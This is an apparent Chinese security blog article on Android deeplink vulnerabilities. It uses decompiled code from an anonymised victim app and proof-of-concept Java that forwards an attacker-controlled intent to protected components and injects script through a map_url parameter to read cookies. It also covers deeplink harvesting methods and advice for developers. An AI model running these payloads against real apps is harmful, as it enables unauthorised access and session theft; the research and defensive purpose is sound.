Android中的特殊攻击面(二)——危险的deeplink
温馨提示:建议投稿的朋友尽量用markdown格式,特别是包含大量代码的文章
0x01 deeplink简介
```xml
<activity
android:name="com.example.android.GizmosActivity"
android:label="@string/title_gizmos" >
<intent-filter android:label="@string/filter_view_http_gizmos">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<!-- Accepts URIs that begin with "http://www.example.com/gizmos” -->
<data android:scheme="http"
android:host="www.example.com"
android:pathPrefix="/gizmos" />
<!-- note that the leading "/" is required for pathPrefix-->
</intent-filter>
<intent-filter android:label="@string/filter_view_example_gizmos">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<!-- Accepts URIs that begin with "example://gizmos” -->
<data android:scheme="example"
android:host="gizmos" />
</intent-filter>
</activity>
```
0x02 deeplink的安全问题
Facebook App [3]
Grab App [4]
通过deeplink打开任意activity
```java
protected void onActivityResult(int arg3, int arg4, Intent arg5) {
super.onActivityResult(arg3, arg4, arg5);
int v0 = 100;
if(arg3 == 1 && arg5 != null) {
String v3 = arg5.getStringExtra("country_code");
IdentityChinaAnalyticsV2.d(v3);
if(this.o != null) {
AccountVerificationActivityIntents.a(v3);
this.startActivityForResult(this.o, v0); //this.o is an attacker controlled Intent
}
}
else if(arg3 == v0) {
arg3 = -1;
if(arg4 == arg3) {
this.setResult(arg3);
this.finish();
}
}
}
protected void onCreate(Bundle arg2) {
super.onCreate(arg2);
this.setContentView(layout.activity_simple_fragment);
ButterKnife.a(((Activity)this));
if(arg2 == null) {
this.c(true);
new ChinaVerificationsRequest().a(this.n).execute(this.I);
}
Intent v2 = this.getIntent();
if(v2.getParcelableExtra("globalIdentityFlowIntent") != null) {
this.o = v2.getParcelableExtra("globalIdentityFlowIntent"); //Attacker controlled Intent
}
}
```
```java
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("victim-app://c/identitychina"));
Intent payload = new Intent();
payload.setComponent(new ComponentName("<victim app package name>",
"<victim app protected component name>"));
intent.putExtra("globalIdentityFlowIntent", payload);
startActivity(intent);
```
通过deeplink打开任意fragment
```shell
$ adb shell am start -a android.intent.action.VIEW "victim-app://c/contact/2?fragmen_class=AAAA"
03-06 08:43:37.019 27066 27066 E AndroidRuntime: Process: com.victim-app.android, PID: 27066
03-06 08:43:37.019 27066 27066 E AndroidRuntime: java.lang.RuntimeException: Unable to start activity ComponentInfo{com.victim-app.android/com.victim-app.android.core.activities.ModalActivity}: android.support.v4.app.Fragment$InstantiationException: Unable to instantiate fragment AAAA: make sure class name exists, is public, and has an empty constructor that is public
......(skip)
03-06 08:43:37.019 27066 27066 E AndroidRuntime: Caused by: java.lang.ClassNotFoundException: Didn't find class "AAAA" on path: DexPathList[[zip file "/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk"],nativeLibraryDirectories=[/data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/lib/arm, /data/app/com.victim-app.android-88DWiVjEAeeamfvTk2khAA==/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]
```
仔细分析,发现crash原因在于deeplink最终打开了ModalActivity,无法对名为AAAA的Fragment类实例化。如果在deeplink中的fragment_class参数传入一个victim-app已有的Fragment,则可以通过ModalActivity启动。在这个参数当中,我尝试传入了所有已有的Fragment Class,有的可以成功启动,有的却因为参数不完整造成crash,但是这里能够造成何种安全影响却费了一番周折。
最终,我找到一个GoogleWebViewMapFragment,有机会执行loadDataWithBaseURL,通过WebView加载HTML/JS.
```java
@SuppressLint(value={"SetJavaScriptEnabled", "AddJavascriptInterface"}) public View a(LayoutInflater arg7, ViewGroup arg8, Bundle arg9) {
View v7 = arg7.inflate(layout.fragment_webview, arg8, false);
this.a = v7.findViewById(id.webview);
this.d = v7;
WebSettings v8 = this.a.getSettings();
v8.setSupportZoom(true);
v8.setBuiltInZoomControls(false);
v8.setJavaScriptEnabled(true);
v8.setGeolocationEnabled(true);
v8.setAllowFileAccess(false);
v8.setAllowContentAccess(false);
this.a.setWebChromeClient(new GeoWebChromeClient(this));
VicMapType v8_1 = VicMapType.b(this.o());
this.a.loadDataWithBaseURL(v8_1.c(), v8_1.a(this.w()), "text/html", "base64", null); //noice!!!
this.a.addJavascriptInterface(new MapsJavaScriptInterface(this, null), "VicMapView");
return v7;
}
```
```java
public VicMapType(String arg1, String arg2, String arg3) {
super();
this.a = arg1;
this.b = arg2;
this.c = arg3;
}
public String a(Resources arg3) {
return VicMapUtils.a(arg3, this.a).replace("MAPURL", this.b).replace("LANGTOKEN", Locale.getDefault().getLanguage()).replace("REGIONTOKEN", Locale.getDefault().getCountry());
}
public Bundle a(Bundle arg3) {
arg3.putString("map_domain", this.c()); // this.c is put in map_domain
arg3.putString("map_url", this.b()); // this.b is put in map_url
arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name
return arg3;
}
String a() {
return this.a;
}
public static VicMapType b(Bundle arg5) {
return new VicMapType(arg5.getString("map_file_name", ""), arg5.getString("map_url", ""), arg5.getString("map_domain", ""));
}
String b() {
return this.b;
}
String c() { // v8_1.c()
return this.c;
}
```
```java
public class VicMapUtils {
public static String a(Resources arg2, String arg3) {
try {
InputStream v2 = arg2.getAssets().open(arg3);
String v0 = VicMapUtils.a(v2);
v2.close();
return v0;
}
catch(IOException ) {
StringBuilder v0_1 = new StringBuilder();
v0_1.append("unable to load asset ");
v0_1.append(arg3);
throw new RuntimeException(v0_1.toString());
}
}
public static String a(InputStream arg2) {
BufferedReader v0 = new BufferedReader(new InputStreamReader(arg2));
StringBuilder v2 = new StringBuilder();
while(true) {
String v1 = v0.readLine();
if(v1 == null) {
break;
}
v2.append(v1);
v2.append("\n");
}
v0.close();
return v2.toString();
}
}
```
```shell
$ ls -l *.html
-rwxr-xr-x 1 heeeeen h4cker 8290 3 6 08:28 google_map.html
-rwxr-xr-x 1 heeeeen h4cker 15024 3 6 08:28 leaflet_map.html
-rwxr-xr-x 1 heeeeen h4cker 5546 3 6 08:28 mapbox.html
```
```html
$ cat google_map.html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="initial-scale=1.0, user-scalable=no">
<meta charset="utf-8">
<style>
html, body, #map-canvas {
height: 100%;
margin: 0px;
padding: 0px
}
</style>
<script src="MAPURL?v=3.exp&sensor=false&language=LANGTOKEN®ion=REGIONTOKEN"></script>
<script src="file:///android_asset/geolocate_user.js" type="text/javascript"></script>
<script>
var map;
var infoWindow = null;
var markers = {};
var infoWindowContent = {};
var polylines = {};
```java
public Bundle a(Bundle arg3) {
arg3.putString("map_domain", this.c()); // this.c is put in map_domain
arg3.putString("map_url", this.b()); // this.b is put in map_url
arg3.putString("map_file_name", this.a()); // this.a is put in map_file_name
return arg3;
}
```
```java
Intent payload = new Intent(Intent.ACTION_VIEW);
payload.setData(Uri.parse("victim-app://c/contact/2?fragmen_class=com.victim.app.GoogleWebViewMapFragment"));
Bundle extra = new Bundle();
extra.putString("map_url", "\"></script><script>alert(document.cookie);</script><script>");
extra.putString("map_file_name", "google_map.html");
extra.putString("map_domain", "https://www.victim-app.com");
payload.putExtra("bundle", extra);
startActivity(payload);
```
0x03 deeplink的收集
本地搜索:通过Mainifest文件筛选出自定义的deeplink URL scheme,进而在本地逆向代码中正则匹配,提取出尽可能完整的deeplink URI,注意不要漏过所有文件。因为以经验来看,deeplink可能出现在App的Java代码中、Asset目录的资源文件/js中,甚至还可能出现在so当中;
流量监控:对app进行抓包,利用HTTP抓包工具或者实现成burp插件监测流量中的deeplink,尽可能在app中点击各种场景,从请求包和返回包中正则匹配出完整的deeplink;
IPC监控:通过hook动态监测IPC通信中出现的deeplink,将Intent中的data提取出来,可以利用burp插件brida,甚至与流量监控整合;
远程爬取:对app Web端网页进行爬取,筛选出deeplink。不过这种方法我没有实践过,只是偶尔在网页源码中发现过。
基于deeplink特征:如果APP使用了一些路由分发的sdk,由于这类sdk有特定的规律,因此可以通过正则解析这类规律来获取到完整的deeplink。以ali arouter为例,可以通过提取build Route后面的path作为deeplink URI的path。提取build Autowired后面的name作为deeplink中的parameters。然后和第一步中获取到的内容进行拼接,从而获取到一个完整的deeplink。
0x04 对开发者的建议
开发者特别要重点关注与deeplink有关的WebView安全问题,这一类漏洞在deeplink安全问题中占比最大。需要小心deeplink中url、extra_url、page、link、redirect等参数,检查是否可以修改这些参数使WebView访问任意域名。如果这本身是一个业务设计,建议对用户给出外域跳转提示,同时禁止WebView对file://的访问,禁止 loadUrl访问外域携带重要的认证token,并仔细检查WebView开放敏感javaScriptInterface或JsBridge接口所做的域名白名单校验。
此外,由于deeplink无法验证来源,因此也不能用来设计为触发一个对安全有影响的敏感操作,例如:
发送携带认证token的数据包
打开保护组件
绕过应用锁
无需用户交互对外拨号
静默安装应用
......
建议使用deeplink的App开发者向内部安全团队提供所有deeplink清单和设计文档进行安全测试,这样可以比外部攻击者更早、更全面地发现deeplink引入的安全问题。